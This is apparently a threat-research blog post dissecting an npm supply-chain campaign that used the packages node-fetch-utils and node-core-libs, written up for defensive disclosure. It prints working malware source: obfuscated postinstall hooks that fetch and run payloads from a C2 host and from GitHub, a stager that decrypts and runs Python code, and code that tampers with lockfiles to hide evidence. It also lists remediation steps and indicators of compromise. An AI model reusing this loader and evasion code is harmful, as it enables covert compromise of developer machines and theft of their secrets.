BACK

Real World Attacks

Spectre info-stealer live on NPM

Ossprey Research Team

22 Jun 2026

Real World Attacks

Spectre info-stealer live on NPM

Ossprey Research Team

22 Jun 2026

Real World Attacks

Spectre info-stealer live on NPM

Ossprey Research Team

22 Jun 2026

No headings found in content selector: .toc-content

Situation Update

Ossprey Security was able to get in touch with the affected C2 host, who were not affiliated with the threat-actors, in order to take down the C2, effectively de-activating the entire campaign. Affected packages were reported and have now been removed from NPMJS, the Github user and repositories still remain available at this time.


Ossprey discovered a coordinated npm supply-chain campaign active between June 21 and June 22, 2026, with us detecting one of the packages in under 1 minute of it's publication. The attacker slowly published nine versions of node-fetch-utils and two versions of node-core-libs across a 20 hour window. The attacker used a range of techniques to hide their path including pulling second stages from other locations including additional NPM packages and Github. While the attack is currently small in scope the attack used a range of sophisticated techniques include C2C servers to deploy additional traditional malware after compromise.

Who is Behind This?

The actor operated under GitHub login Hexa-devy and the emailgithub1234_1234@outlook.com, with limited further information. While the trade craft is similar to previous recent actions attributed to the DPRK, we are currently not willing to make this attribution at the moment.

Technical Breakdown

Stage 0: Package creation and cover story

Between June 20 and June 21, 2026, the actor created the GitHub account Hexa-devy and the npm account hexa.dev. Three GitHub repositories were pushed: node-fetch-core (the malicious vehicle), and two plausible decoys - requests-enhancer (a Python package) and netflow-utils (a Python network utility). On npm, node-fetch-utils was published with a comprehensive README, keyword-rich package.json, passing test stubs, MIT license, and a version increment cadence designed to signal active maintenance. The package name of one package was then updated to node-core-libs in an attempt to masquerade as a legitimate package.

// node-fetch-core/package.json (from GitHub repo - masquerades as node-core-libs)
{
  "name": "node-core-libs",
  "version": "1.1.0",
  "scripts": {
    "postinstall": "node scripts/postinstall.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "Hexa-devy",
  "license": "MIT",
  "dependencies": {}
}
// node-fetch-core/package.json (from GitHub repo - masquerades as node-core-libs)
{
  "name": "node-core-libs",
  "version": "1.1.0",
  "scripts": {
    "postinstall": "node scripts/postinstall.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "Hexa-devy",
  "license": "MIT",
  "dependencies": {}
}
// node-fetch-core/package.json (from GitHub repo - masquerades as node-core-libs)
{
  "name": "node-core-libs",
  "version": "1.1.0",
  "scripts": {
    "postinstall": "node scripts/postinstall.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "Hexa-devy",
  "license": "MIT",
  "dependencies": {}
}

Stage 1a: GitHub-dep postinstall hook (node-fetch-core, v1.2.1-1.2.4, 1.2.6, 1.2.7)

Installing any of node-fetch-utils versions 1.2.1 through 1.2.7 (excluding 1.2.5) caused npm to fetch and install the actor's node-fetch-core repository from GitHub as a tarball. Because that repository's package.json declared postinstall: node scripts/postinstall.js, npm executed the hook automatically.


Within the postinstall.js script, obfuscated references to C2 hosts on node22[.]lunes[.]host, port 3258, and HMAC-SHA256 key changeme-spectre. If you are on a windows machine, it then performs the HMAC handshake, downloads the Node.js stager from /nl, writes it to %TEMP%\ms_<randhex>.js, and spawns it via a VBScript trampoline.


Once complete, the _tidy() function then rewrites the parent package's package-lock.json to remove evidence of the postinstall to cover its trail and then writes a .nfc_root marker for the Stage 2 lock-file patcher.

// node-fetch-core/scripts/postinstall.js (Stage 1a: XOR-decoded C2 callback + VBScript spawn)
'use strict';
if(process.platform!=='win32'){process.exit(0);}
const c=require('crypto'),h=require('http'),f=require('fs'),o=require('os'),p=require('path'),sp=require('child_process');
const _b=a=>Buffer.from(a.map(v=>v^0x5A));
const _K=_b([0x39,0x32,0x3b,0x34,0x3d,0x3f,0x37,0x3f,0x77,0x29,0x2a,0x3f,0x39,0x2e,0x28,0x3f]);
const _H=_b([0x34,0x35,0x3e,0x3f,0x68,0x68,0x74,0x36,0x2f,0x34,0x3f,0x29,0x74,0x32,0x35,0x29,0x2e]).toString();
const _P=_b([0x69,0x68,0x6f,0x62]).toString();
// Decoded: _H = 'node22[.]lunes[.]host', _P = '3258', _K = 'changeme-spectre'
const _g=r=>new Promise((ok,no)=>{const q=h.get({host:_H,port:+_P,path:r,timeout:15000},s=>{const d=[];s.on('data',x=>d.push(x));s.on('end',()=>ok(Buffer.concat(d)));});q.on('error',no);q.on('timeout',()=>{q.destroy();no();});});

(async()=>{try{
const d=await _g('/nl');
if(!d||d.length<16){_tidy();process.exit(0);return;}
const n=p.join(o.tmpdir(),`ms_${c.randomBytes(4).toString('hex')}.js`);
const v=p.join(o.tmpdir(),`mv_${c.randomBytes(4).toString('hex')}.vbs`);
f.writeFileSync(n,d);
f.writeFileSync(v,`Set o=CreateObject("WScript.Shell")\r\nSet fs=CreateObject("Scripting.FileSystemObject")\r\no.Run "node ""${n}""",0,False\r\nfs.DeleteFile WScript.ScriptFullName\r\n`);
const ch=sp.spawn('wscript.exe',['//B','//nologo',v],{detached:true,stdio:'ignore',windowsHide:true});
ch.unref();
_tidy();
try{f.unlinkSync(__filename);}catch(_){}
process.exit(0);
}catch(_){_tidy();process.exit(0);}})();
// node-fetch-core/scripts/postinstall.js (Stage 1a: XOR-decoded C2 callback + VBScript spawn)
'use strict';
if(process.platform!=='win32'){process.exit(0);}
const c=require('crypto'),h=require('http'),f=require('fs'),o=require('os'),p=require('path'),sp=require('child_process');
const _b=a=>Buffer.from(a.map(v=>v^0x5A));
const _K=_b([0x39,0x32,0x3b,0x34,0x3d,0x3f,0x37,0x3f,0x77,0x29,0x2a,0x3f,0x39,0x2e,0x28,0x3f]);
const _H=_b([0x34,0x35,0x3e,0x3f,0x68,0x68,0x74,0x36,0x2f,0x34,0x3f,0x29,0x74,0x32,0x35,0x29,0x2e]).toString();
const _P=_b([0x69,0x68,0x6f,0x62]).toString();
// Decoded: _H = 'node22[.]lunes[.]host', _P = '3258', _K = 'changeme-spectre'
const _g=r=>new Promise((ok,no)=>{const q=h.get({host:_H,port:+_P,path:r,timeout:15000},s=>{const d=[];s.on('data',x=>d.push(x));s.on('end',()=>ok(Buffer.concat(d)));});q.on('error',no);q.on('timeout',()=>{q.destroy();no();});});

(async()=>{try{
const d=await _g('/nl');
if(!d||d.length<16){_tidy();process.exit(0);return;}
const n=p.join(o.tmpdir(),`ms_${c.randomBytes(4).toString('hex')}.js`);
const v=p.join(o.tmpdir(),`mv_${c.randomBytes(4).toString('hex')}.vbs`);
f.writeFileSync(n,d);
f.writeFileSync(v,`Set o=CreateObject("WScript.Shell")\r\nSet fs=CreateObject("Scripting.FileSystemObject")\r\no.Run "node ""${n}""",0,False\r\nfs.DeleteFile WScript.ScriptFullName\r\n`);
const ch=sp.spawn('wscript.exe',['//B','//nologo',v],{detached:true,stdio:'ignore',windowsHide:true});
ch.unref();
_tidy();
try{f.unlinkSync(__filename);}catch(_){}
process.exit(0);
}catch(_){_tidy();process.exit(0);}})();
// node-fetch-core/scripts/postinstall.js (Stage 1a: XOR-decoded C2 callback + VBScript spawn)
'use strict';
if(process.platform!=='win32'){process.exit(0);}
const c=require('crypto'),h=require('http'),f=require('fs'),o=require('os'),p=require('path'),sp=require('child_process');
const _b=a=>Buffer.from(a.map(v=>v^0x5A));
const _K=_b([0x39,0x32,0x3b,0x34,0x3d,0x3f,0x37,0x3f,0x77,0x29,0x2a,0x3f,0x39,0x2e,0x28,0x3f]);
const _H=_b([0x34,0x35,0x3e,0x3f,0x68,0x68,0x74,0x36,0x2f,0x34,0x3f,0x29,0x74,0x32,0x35,0x29,0x2e]).toString();
const _P=_b([0x69,0x68,0x6f,0x62]).toString();
// Decoded: _H = 'node22[.]lunes[.]host', _P = '3258', _K = 'changeme-spectre'
const _g=r=>new Promise((ok,no)=>{const q=h.get({host:_H,port:+_P,path:r,timeout:15000},s=>{const d=[];s.on('data',x=>d.push(x));s.on('end',()=>ok(Buffer.concat(d)));});q.on('error',no);q.on('timeout',()=>{q.destroy();no();});});

(async()=>{try{
const d=await _g('/nl');
if(!d||d.length<16){_tidy();process.exit(0);return;}
const n=p.join(o.tmpdir(),`ms_${c.randomBytes(4).toString('hex')}.js`);
const v=p.join(o.tmpdir(),`mv_${c.randomBytes(4).toString('hex')}.vbs`);
f.writeFileSync(n,d);
f.writeFileSync(v,`Set o=CreateObject("WScript.Shell")\r\nSet fs=CreateObject("Scripting.FileSystemObject")\r\no.Run "node ""${n}""",0,False\r\nfs.DeleteFile WScript.ScriptFullName\r\n`);
const ch=sp.spawn('wscript.exe',['//B','//nologo',v],{detached:true,stdio:'ignore',windowsHide:true});
ch.unref();
_tidy();
try{f.unlinkSync(__filename);}catch(_){}
process.exit(0);
}catch(_){_tidy();process.exit(0);}})();

Stage 1b: Direct postinstall fetching from GitHub raw (v1.2.5)

We identified v1.2.5 as a short-lived experiment. The node-fetch-utils package.json itself listed postinstall: node scripts/postinstall.js, and the included script fetched a Node.js payload directly from raw.githubusercontent.com/Hexa-devy/node-fetch-core/master/scripts/configure.js over HTTPS. On a 200 response the script was written to %TEMP%\ms_<randhex>.js and spawned detached. This approach removed the need for a separate npm or GitHub dependency but introduced a dependency on GitHub availability and left a clear network indicator in the script. The actor published v1.2.6 just five minutes later, reverting to the GitHub-dep vector, suggesting this variant was quickly abandoned.

// node-fetch-utils/scripts/postinstall.js (v1.2.5 - direct raw.githubusercontent.com fetch, abandoned after 5 minutes)
'use strict';
if(process.platform!=='win32'){process.exit(0);}
const h=require('https'),f=require('fs'),o=require('os'),p=require('path'),c=require('crypto'),sp=require('child_process');
const req=h.get({
    hostname:'raw.githubusercontent.com',
    path:'/Hexa-devy/node-fetch-core/master/scripts/configure.js',
    timeout:15000
},res=>{
    if(res.statusCode!==200){process.exit(0);return;}
    const d=[];
    res.on('data',x=>d.push(x));
    res.on('end',()=>{
        const n=p.join(o.tmpdir(),`ms_${c.randomBytes(4).toString('hex')}.js`);
        f.writeFileSync(n,Buffer.concat(d));
        const ch=sp.spawn('node',[n],{detached:true,stdio:'ignore',windowsHide:true});
        ch.unref();
        process.exit(0);
    });
});
req.on('error',()=>process.exit(0));
req.on('timeout',()=>{req.destroy();process.exit(0);});
// node-fetch-utils/scripts/postinstall.js (v1.2.5 - direct raw.githubusercontent.com fetch, abandoned after 5 minutes)
'use strict';
if(process.platform!=='win32'){process.exit(0);}
const h=require('https'),f=require('fs'),o=require('os'),p=require('path'),c=require('crypto'),sp=require('child_process');
const req=h.get({
    hostname:'raw.githubusercontent.com',
    path:'/Hexa-devy/node-fetch-core/master/scripts/configure.js',
    timeout:15000
},res=>{
    if(res.statusCode!==200){process.exit(0);return;}
    const d=[];
    res.on('data',x=>d.push(x));
    res.on('end',()=>{
        const n=p.join(o.tmpdir(),`ms_${c.randomBytes(4).toString('hex')}.js`);
        f.writeFileSync(n,Buffer.concat(d));
        const ch=sp.spawn('node',[n],{detached:true,stdio:'ignore',windowsHide:true});
        ch.unref();
        process.exit(0);
    });
});
req.on('error',()=>process.exit(0));
req.on('timeout',()=>{req.destroy();process.exit(0);});
// node-fetch-utils/scripts/postinstall.js (v1.2.5 - direct raw.githubusercontent.com fetch, abandoned after 5 minutes)
'use strict';
if(process.platform!=='win32'){process.exit(0);}
const h=require('https'),f=require('fs'),o=require('os'),p=require('path'),c=require('crypto'),sp=require('child_process');
const req=h.get({
    hostname:'raw.githubusercontent.com',
    path:'/Hexa-devy/node-fetch-core/master/scripts/configure.js',
    timeout:15000
},res=>{
    if(res.statusCode!==200){process.exit(0);return;}
    const d=[];
    res.on('data',x=>d.push(x));
    res.on('end',()=>{
        const n=p.join(o.tmpdir(),`ms_${c.randomBytes(4).toString('hex')}.js`);
        f.writeFileSync(n,Buffer.concat(d));
        const ch=sp.spawn('node',[n],{detached:true,stdio:'ignore',windowsHide:true});
        ch.unref();
        process.exit(0);
    });
});
req.on('error',()=>process.exit(0));
req.on('timeout',()=>{req.destroy();process.exit(0);});

Stage 1c: Transitive npm dependency (node-core-libs, v1.2.8-1.3.0)

We traced the actor's final and most persistent vector to v1.2.8, which replaced the GitHub-URL dependency with a proper semver npm dependency on node-core-libs: ^1.0.0. The node-core-libs package presented a convincing facade: a proper README documenting buffer helpers, async primitives, and stream utilities, and a lib/ directory containing legitimate-looking utility code.

// node-core-libs/package.json (v1.0.0)
{
  "name": "node-core-libs",
  "version": "1.0.0",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "postinstall": "node scripts/postinstall.js"
  },
  "dependencies": {}
}

// node-fetch-utils/package.json (v1.2.8 - pivot to npm dep)
{
  "name": "node-fetch-utils",
  "version": "1.2.8",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "node-core-libs": "^1.0.0"
  }
}

// node-fetch-utils/package.json (v1.3.0 - adds node-fetch as cover dep)
{
  "name": "node-fetch-utils",
  "version": "1.3.0",
  "dependencies": {
    "node-fetch": "^2.7.0",
    "node-core-libs": "^1.0.0"
  }
}
// node-core-libs/package.json (v1.0.0)
{
  "name": "node-core-libs",
  "version": "1.0.0",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "postinstall": "node scripts/postinstall.js"
  },
  "dependencies": {}
}

// node-fetch-utils/package.json (v1.2.8 - pivot to npm dep)
{
  "name": "node-fetch-utils",
  "version": "1.2.8",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "node-core-libs": "^1.0.0"
  }
}

// node-fetch-utils/package.json (v1.3.0 - adds node-fetch as cover dep)
{
  "name": "node-fetch-utils",
  "version": "1.3.0",
  "dependencies": {
    "node-fetch": "^2.7.0",
    "node-core-libs": "^1.0.0"
  }
}
// node-core-libs/package.json (v1.0.0)
{
  "name": "node-core-libs",
  "version": "1.0.0",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "postinstall": "node scripts/postinstall.js"
  },
  "dependencies": {}
}

// node-fetch-utils/package.json (v1.2.8 - pivot to npm dep)
{
  "name": "node-fetch-utils",
  "version": "1.2.8",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "node-core-libs": "^1.0.0"
  }
}

// node-fetch-utils/package.json (v1.3.0 - adds node-fetch as cover dep)
{
  "name": "node-fetch-utils",
  "version": "1.3.0",
  "dependencies": {
    "node-fetch": "^2.7.0",
    "node-core-libs": "^1.0.0"
  }
}

Stage 2: Node.js stager - C2 handshake, decryption, and Python loader

The Node.js stager (STAGE2.txt, fetched from /nl) implements the full delivery pipeline. It opens with an HMAC-SHA256 auth handshake then fetches the encrypted Python bytecode from /go?n=<nonce_hash>. Decryption uses a keystream of 128 SHA-256 blocks derived from sha256(key + nonce + [i]), XOR-applied byte-by-byte to the ciphertext. A thin Python launcher (mscf_<randhex>.py) is written to %TEMP%\msl_<randhex>.dat that reads and exec()s the decrypted source, then deletes both files.

// STAGE2.txt - node_launcher.js (fetched live from C2 /nl, sha256: 04b18b5c6d0f4e99f6aa2c4624bcb8d6384cb37bac2c95fc910fe52cd0803498)
const _b=a=>Buffer.from(a.map(v=>v^0x5A));
const _K=_b([0x39,0x32,0x3b,0x34,0x3d,0x3f,0x37,0x3f,0x77,0x29,0x2a,0x3f,0x39,0x2e,0x28,0x3f]);
// _K decoded = 'changeme-spectre'

function _tok(){const t=Math.floor(Date.now()/1000/300)*300;return crypto.createHmac('sha256',_K).update(String(t)).digest('hex').slice(0,16);}

function _ks(nonce){const b=[];for(let i=0;i<128;i++){const h=crypto.createHash('sha256');h.update(_K);h.update(nonce);h.update(Buffer.from([i]));b.push(h.digest());}return Buffer.concat(b);}

async function _getLauncher(){
    const nonce=await _get('/sync?v='+_tok());
    const nh=crypto.createHash('sha256').update(_K).update(nonce).digest('hex').slice(0,16);
    const enc=await _get('/go?n='+nh);
    const ks=_ks(nonce);
    const dec=Buffer.from(enc.map((b,i)=>b^ks[i]));
    const dat=path.join(os.tmpdir(),`msl_${crypto.randomBytes(6).toString('hex')}.dat`);
    fs.writeFileSync(dat,dec);
    return dat;
}

function _writePyRunner(pyExe,dat){
    const lp=path.join(os.tmpdir(),`mscf_${crypto.randomBytes(4).toString('hex')}.py`);
    const dd=dat.replace(/\\/g,'\\\\');
    fs.writeFileSync(lp,
        `import os\n_d=r'${dd}'\n_m=__file__\n`+
        `_src=open(_d,'rb').read().decode('utf-8')\nos.remove(_d)\n`+
        `try:os.remove(_m)\nexcept:pass\nexec(compile(_src,'<l>','exec'),{'__name__':'__main__'})\n`
    );
    return lp;
}
// STAGE2.txt - node_launcher.js (fetched live from C2 /nl, sha256: 04b18b5c6d0f4e99f6aa2c4624bcb8d6384cb37bac2c95fc910fe52cd0803498)
const _b=a=>Buffer.from(a.map(v=>v^0x5A));
const _K=_b([0x39,0x32,0x3b,0x34,0x3d,0x3f,0x37,0x3f,0x77,0x29,0x2a,0x3f,0x39,0x2e,0x28,0x3f]);
// _K decoded = 'changeme-spectre'

function _tok(){const t=Math.floor(Date.now()/1000/300)*300;return crypto.createHmac('sha256',_K).update(String(t)).digest('hex').slice(0,16);}

function _ks(nonce){const b=[];for(let i=0;i<128;i++){const h=crypto.createHash('sha256');h.update(_K);h.update(nonce);h.update(Buffer.from([i]));b.push(h.digest());}return Buffer.concat(b);}

async function _getLauncher(){
    const nonce=await _get('/sync?v='+_tok());
    const nh=crypto.createHash('sha256').update(_K).update(nonce).digest('hex').slice(0,16);
    const enc=await _get('/go?n='+nh);
    const ks=_ks(nonce);
    const dec=Buffer.from(enc.map((b,i)=>b^ks[i]));
    const dat=path.join(os.tmpdir(),`msl_${crypto.randomBytes(6).toString('hex')}.dat`);
    fs.writeFileSync(dat,dec);
    return dat;
}

function _writePyRunner(pyExe,dat){
    const lp=path.join(os.tmpdir(),`mscf_${crypto.randomBytes(4).toString('hex')}.py`);
    const dd=dat.replace(/\\/g,'\\\\');
    fs.writeFileSync(lp,
        `import os\n_d=r'${dd}'\n_m=__file__\n`+
        `_src=open(_d,'rb').read().decode('utf-8')\nos.remove(_d)\n`+
        `try:os.remove(_m)\nexcept:pass\nexec(compile(_src,'<l>','exec'),{'__name__':'__main__'})\n`
    );
    return lp;
}
// STAGE2.txt - node_launcher.js (fetched live from C2 /nl, sha256: 04b18b5c6d0f4e99f6aa2c4624bcb8d6384cb37bac2c95fc910fe52cd0803498)
const _b=a=>Buffer.from(a.map(v=>v^0x5A));
const _K=_b([0x39,0x32,0x3b,0x34,0x3d,0x3f,0x37,0x3f,0x77,0x29,0x2a,0x3f,0x39,0x2e,0x28,0x3f]);
// _K decoded = 'changeme-spectre'

function _tok(){const t=Math.floor(Date.now()/1000/300)*300;return crypto.createHmac('sha256',_K).update(String(t)).digest('hex').slice(0,16);}

function _ks(nonce){const b=[];for(let i=0;i<128;i++){const h=crypto.createHash('sha256');h.update(_K);h.update(nonce);h.update(Buffer.from([i]));b.push(h.digest());}return Buffer.concat(b);}

async function _getLauncher(){
    const nonce=await _get('/sync?v='+_tok());
    const nh=crypto.createHash('sha256').update(_K).update(nonce).digest('hex').slice(0,16);
    const enc=await _get('/go?n='+nh);
    const ks=_ks(nonce);
    const dec=Buffer.from(enc.map((b,i)=>b^ks[i]));
    const dat=path.join(os.tmpdir(),`msl_${crypto.randomBytes(6).toString('hex')}.dat`);
    fs.writeFileSync(dat,dec);
    return dat;
}

function _writePyRunner(pyExe,dat){
    const lp=path.join(os.tmpdir(),`mscf_${crypto.randomBytes(4).toString('hex')}.py`);
    const dd=dat.replace(/\\/g,'\\\\');
    fs.writeFileSync(lp,
        `import os\n_d=r'${dd}'\n_m=__file__\n`+
        `_src=open(_d,'rb').read().decode('utf-8')\nos.remove(_d)\n`+
        `try:os.remove(_m)\nexcept:pass\nexec(compile(_src,'<l>','exec'),{'__name__':'__main__'})\n`
    );
    return lp;
}

Stage 3: Python runtime installation, VBScript spawn, and evidence erasure

This stager would then install a bundled Python runtime at %LOCALAPPDATA%\Microsoft\EdgeBroker\pythonw.exe. If absent, it downloads a Python runtime archive from /py, extracts it in the same directory. The Python launcher is then invoked via a self-deleting VBScript (_spawnHidden), which calls wscript.exe //B //nologo with the script hidden from the taskbar. Finally, _patchLock() runs, removing hasInstallScript from all lock file entries, and the stager self-deletes via fs.unlinkSync(__filename).

// STAGE2.txt - Python runtime installation, VBScript trampoline, and lockfile erasure
async function _installRuntime(){
    const dest=path.join(process.env.LOCALAPPDATA||os.tmpdir(),'Microsoft','EdgeBroker');
    const pyExe=path.join(dest,'pythonw.exe');
    if(fs.existsSync(pyExe))return pyExe;
    fs.mkdirSync(dest,{recursive:true});
    const zp=path.join(dest,'rt.zip');
    const zd=await _get('/py');
    if(!zd||zd.length<1024)return null;
    fs.writeFileSync(zp,zd);
    try{cp.execFileSync('tar',['-xf',zp,'-C',dest],{stdio:'pipe',windowsHide:true,timeout:60000});}catch(_){
        try{cp.execFileSync('powershell',['-NoProfile','-NonInteractive','-WindowStyle','Hidden','-Command',`Expand-Archive -Path '${zp}' -DestinationPath '${dest}' -Force`],{stdio:'pipe',windowsHide:true,timeout:60000});}catch(_){}
    }
    try{fs.unlinkSync(zp);}catch(_){}
    return fs.existsSync(pyExe)?pyExe:null;
}

function _patchLock(){
    try{
        const marker=path.join(os.tmpdir(),'.nfc_root');
        if(!fs.existsSync(marker))return;
        const proj=fs.readFileSync(marker,'utf8').trim();
        try{fs.unlinkSync(marker);}catch(_){}
        const files=[
            path.join(proj,'package-lock.json'),
            path.join(proj,'node_modules','.package-lock.json')
        ];
        for(const lp of files){
            try{
                if(!fs.existsSync(lp))continue;
                const lk=JSON.parse(fs.readFileSync(lp,'utf8'));
                if(lk.packages){
                    for(const entry of Object.values(lk.packages)){
                        if(entry&&entry.hasInstallScript)delete entry.hasInstallScript;
                    }
                }
                fs.writeFileSync(lp,JSON.stringify(lk,null,2)+'\n');
            }catch(_){}
        }
    }catch(_){}
}
// STAGE2.txt - Python runtime installation, VBScript trampoline, and lockfile erasure
async function _installRuntime(){
    const dest=path.join(process.env.LOCALAPPDATA||os.tmpdir(),'Microsoft','EdgeBroker');
    const pyExe=path.join(dest,'pythonw.exe');
    if(fs.existsSync(pyExe))return pyExe;
    fs.mkdirSync(dest,{recursive:true});
    const zp=path.join(dest,'rt.zip');
    const zd=await _get('/py');
    if(!zd||zd.length<1024)return null;
    fs.writeFileSync(zp,zd);
    try{cp.execFileSync('tar',['-xf',zp,'-C',dest],{stdio:'pipe',windowsHide:true,timeout:60000});}catch(_){
        try{cp.execFileSync('powershell',['-NoProfile','-NonInteractive','-WindowStyle','Hidden','-Command',`Expand-Archive -Path '${zp}' -DestinationPath '${dest}' -Force`],{stdio:'pipe',windowsHide:true,timeout:60000});}catch(_){}
    }
    try{fs.unlinkSync(zp);}catch(_){}
    return fs.existsSync(pyExe)?pyExe:null;
}

function _patchLock(){
    try{
        const marker=path.join(os.tmpdir(),'.nfc_root');
        if(!fs.existsSync(marker))return;
        const proj=fs.readFileSync(marker,'utf8').trim();
        try{fs.unlinkSync(marker);}catch(_){}
        const files=[
            path.join(proj,'package-lock.json'),
            path.join(proj,'node_modules','.package-lock.json')
        ];
        for(const lp of files){
            try{
                if(!fs.existsSync(lp))continue;
                const lk=JSON.parse(fs.readFileSync(lp,'utf8'));
                if(lk.packages){
                    for(const entry of Object.values(lk.packages)){
                        if(entry&&entry.hasInstallScript)delete entry.hasInstallScript;
                    }
                }
                fs.writeFileSync(lp,JSON.stringify(lk,null,2)+'\n');
            }catch(_){}
        }
    }catch(_){}
}
// STAGE2.txt - Python runtime installation, VBScript trampoline, and lockfile erasure
async function _installRuntime(){
    const dest=path.join(process.env.LOCALAPPDATA||os.tmpdir(),'Microsoft','EdgeBroker');
    const pyExe=path.join(dest,'pythonw.exe');
    if(fs.existsSync(pyExe))return pyExe;
    fs.mkdirSync(dest,{recursive:true});
    const zp=path.join(dest,'rt.zip');
    const zd=await _get('/py');
    if(!zd||zd.length<1024)return null;
    fs.writeFileSync(zp,zd);
    try{cp.execFileSync('tar',['-xf',zp,'-C',dest],{stdio:'pipe',windowsHide:true,timeout:60000});}catch(_){
        try{cp.execFileSync('powershell',['-NoProfile','-NonInteractive','-WindowStyle','Hidden','-Command',`Expand-Archive -Path '${zp}' -DestinationPath '${dest}' -Force`],{stdio:'pipe',windowsHide:true,timeout:60000});}catch(_){}
    }
    try{fs.unlinkSync(zp);}catch(_){}
    return fs.existsSync(pyExe)?pyExe:null;
}

function _patchLock(){
    try{
        const marker=path.join(os.tmpdir(),'.nfc_root');
        if(!fs.existsSync(marker))return;
        const proj=fs.readFileSync(marker,'utf8').trim();
        try{fs.unlinkSync(marker);}catch(_){}
        const files=[
            path.join(proj,'package-lock.json'),
            path.join(proj,'node_modules','.package-lock.json')
        ];
        for(const lp of files){
            try{
                if(!fs.existsSync(lp))continue;
                const lk=JSON.parse(fs.readFileSync(lp,'utf8'));
                if(lk.packages){
                    for(const entry of Object.values(lk.packages)){
                        if(entry&&entry.hasInstallScript)delete entry.hasInstallScript;
                    }
                }
                fs.writeFileSync(lp,JSON.stringify(lk,null,2)+'\n');
            }catch(_){}
        }
    }catch(_){}
}

How to protect yourself

There are a few tasks you should do if you believe you might be impacted by this attack.

  1. Remove node-fetch-utils and node-core-libs from all projects immediately and delete node_modules/; treat any system where these packages were installed as potentially compromised.

  2. Block outbound connections to node22[.]lunes[.]host on port 3258 at the network perimeter and in endpoint firewall rules.

  3. Inspect %LOCALAPPDATA%\Microsoft\EdgeBroker\ on all Windows developer machines and CI agents for pythonw.exe or rt.zip; delete if present and collect for forensic analysis.

  4. Search %TEMP% for files matching ms_*.js, mv_*.vbs, msvc_*.vbs, msl_*.dat, mscf_*.py, and .nfc_root; delete and retain copies for incident investigation.

  5. Rotate all secrets accessible from affected machines: npm publish tokens, GitHub Personal Access Tokens, CI/CD pipeline secrets, cloud provider credentials, and SSH keys.

  6. Verify package-lock.json integrity by comparing it against a trusted snapshot; a legitimate lockfile should preserve hasInstallScript: true for any package that declares a postinstall script.

  7. Audit npm dependencies for GitHub-URL entries (https://github.com/...) in package.json; these bypass npm registry integrity checks and should be replaced with pinned registry versions.

  8. Apply npm audit signatures and enforce lockfile-based installs (npm ci) in CI/CD pipelines to prevent resolution of unpinned or URL-sourced dependencies.

Indicators of Compromise

Network

  • http://node22[.]lunes[.]host:3258/nl

  • http://node22[.]lunes[.]host:3258/sync

  • http://node22[.]lunes[.]host:3258/go

  • http://node22[.]lunes[.]host:3258/py

  • https://raw.githubusercontent.com/Hexa-devy/node-fetch-core/master/scripts/configure.js

  • https://github.com/Hexa-devy/node-fetch-core/archive/refs/heads/master.tar.gz

Filesystem

  • %TEMP%\ms_<randhex>.js

  • %TEMP%\mv_<randhex>.vbs

  • %TEMP%\msvc_<randhex>.vbs

  • %TEMP%\msl_<randhex>.dat

  • %TEMP%\mscf_<randhex>.py

  • %TEMP%\.nfc_root

  • %LOCALAPPDATA%\Microsoft\EdgeBroker\pythonw.exe

  • %LOCALAPPDATA%\Microsoft\EdgeBroker\rt.zip

Credentials

  • NPM_TOKEN, GITHUB_TOKEN, and other CI/CD secrets present in the process environment (accessible to any postinstall hook running during npm install)

  • Credential exposure beyond the process environment is unknown - the third-stage Python payload was not recovered; treat all secrets on affected hosts as compromised

Embedded keys

  • HMAC-SHA256 key (XOR-decoded): changeme-spectre (hex: 6368616e67656d652d73706563747265)

Hashes

  • sha256:fe5aa4e904f5a255f38b0eaba458f73296dd5ca183eb28a4fade79bbe7130f37 (node-core-libs-1.0.0.tgz)

  • sha256:d0a4c9e1db9ed5706c8bffffd8977c93958bbfff29eb8abce27d3c5c3bedf1dd (node-core-libs-1.1.0.tgz)

  • sha256:ac339c24cc3c470c63a1dae88b66ea4577097c4e7ed0ca1ec3d1403101eb54e6 (node-fetch-utils-1.2.1.tgz)

  • sha256:29757148a9d9f53a3c8ec31555af4f2ffd3b709ff5b108cfbd5333cd1f2f198f (node-fetch-utils-1.2.2.tgz)

  • sha256:d921dc36a46c12962966c4a9223ecf75b9b1d134c8535568f3d4f8f6f6a20635 (node-fetch-utils-1.2.3.tgz)

  • sha256:b080dc29c776e0cf8cce4c1e770f38da2ca096db96b37f1863623e77e83e8442 (node-fetch-utils-1.2.4.tgz)

  • sha256:721e5de24568bb54212c9c639b6c14dbe866dff96011076201fa6d13d32d3744 (node-fetch-utils-1.2.5.tgz)

  • sha256:ccab9e6c7d9d5cd060e7aa8838db0eff3a6fcbbc4cf9a814eb8206e37a2c83cb (node-fetch-utils-1.2.6.tgz)

  • sha256:6d311bc7943cf85f549c834edad5bd4e92e1fc5893e3cf03bd3b490ea385f667 (node-fetch-utils-1.2.7.tgz)

  • sha256:b7cd4afeaadb4c8097d95ffca6d06995b1ae275963bab907a216c6abbacce7d0 (node-fetch-utils-1.2.8.tgz)

  • sha256:9fca203f3fb40600c56d880453c61824937587e10e81a6f5f6800ea51827f979 (node-fetch-utils-1.3.0.tgz)

  • sha256:04b18b5c6d0f4e99f6aa2c4624bcb8d6384cb37bac2c95fc910fe52cd0803498 (STAGE2.txt / node_launcher.js)

Affected Versions

  • node-fetch-utils@1.2.1

  • node-fetch-utils@1.2.2

  • node-fetch-utils@1.2.3

  • node-fetch-utils@1.2.4

  • node-fetch-utils@1.2.5

  • node-fetch-utils@1.2.6

  • node-fetch-utils@1.2.7

  • node-fetch-utils@1.2.8

  • node-fetch-utils@1.3.0

  • node-core-libs@1.0.0

  • node-core-libs@1.1.0

MITRE ATT&CK

ID

Technique

Why it applies

T1195.001

Supply Chain Compromise: Compromise Software Dependencies

Malicious postinstall hooks delivered via npm packages and a GitHub-URL dependency that bypasses registry integrity controls.

T1059.007

JavaScript

All postinstall hooks and the Stage 2 stager are JavaScript executed by Node.js.

T1059.005

Visual Basic

VBScript trampolines (wscript.exe //B //nologo) spawn the Python process hidden and detached from the npm job object.

T1027

Obfuscated Files or Information

